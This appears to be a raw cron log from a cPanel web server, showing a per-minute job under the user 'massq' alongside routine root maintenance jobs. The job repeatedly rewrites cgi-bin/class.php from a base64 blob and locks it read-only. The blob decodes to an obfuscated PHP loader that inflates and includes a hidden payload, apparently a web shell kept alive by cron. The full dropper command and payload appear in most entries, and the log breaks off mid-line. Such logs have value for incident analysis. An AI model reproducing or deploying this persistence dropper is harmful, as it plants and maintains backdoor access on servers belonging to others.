Apr 12 02:53:01 server CROND[13158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:54:01 server CROND[13212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:55:01 server CROND[13274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:55:01 server CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:55:01 server CROND[13275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:56:01 server CROND[13382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:57:01 server CROND[13538]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 02:57:01 server CROND[13539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:58:02 server CROND[13613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:59:01 server CROND[13687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:59:01 server CROND[13688]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr 12 03:00:01 server CROND[13768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:00:01 server CROND[13770]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:00:01 server CROND[13769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:00:01 server CROND[13771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:01:01 server CROND[13921]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 03:01:01 server CROND[13922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:01:01 server run-parts(/etc/cron.hourly)[13921]: starting 0anacron
Apr 12 03:01:01 server anacron[13934]: Anacron started on 2025-04-12
Apr 12 03:01:01 server anacron[13934]: Will run job `cron.daily' in 31 min.
Apr 12 03:01:01 server anacron[13934]: Jobs will be executed sequentially
Apr 12 03:01:01 server run-parts(/etc/cron.hourly)[13936]: finished 0anacron
Apr 12 03:02:01 server CROND[14181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:03:01 server CROND[14257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:04:01 server CROND[14343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:05:01 server CROND[14412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:05:01 server CROND[14415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:05:01 server CROND[14414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:05:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 03:06:01 server CROND[14530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 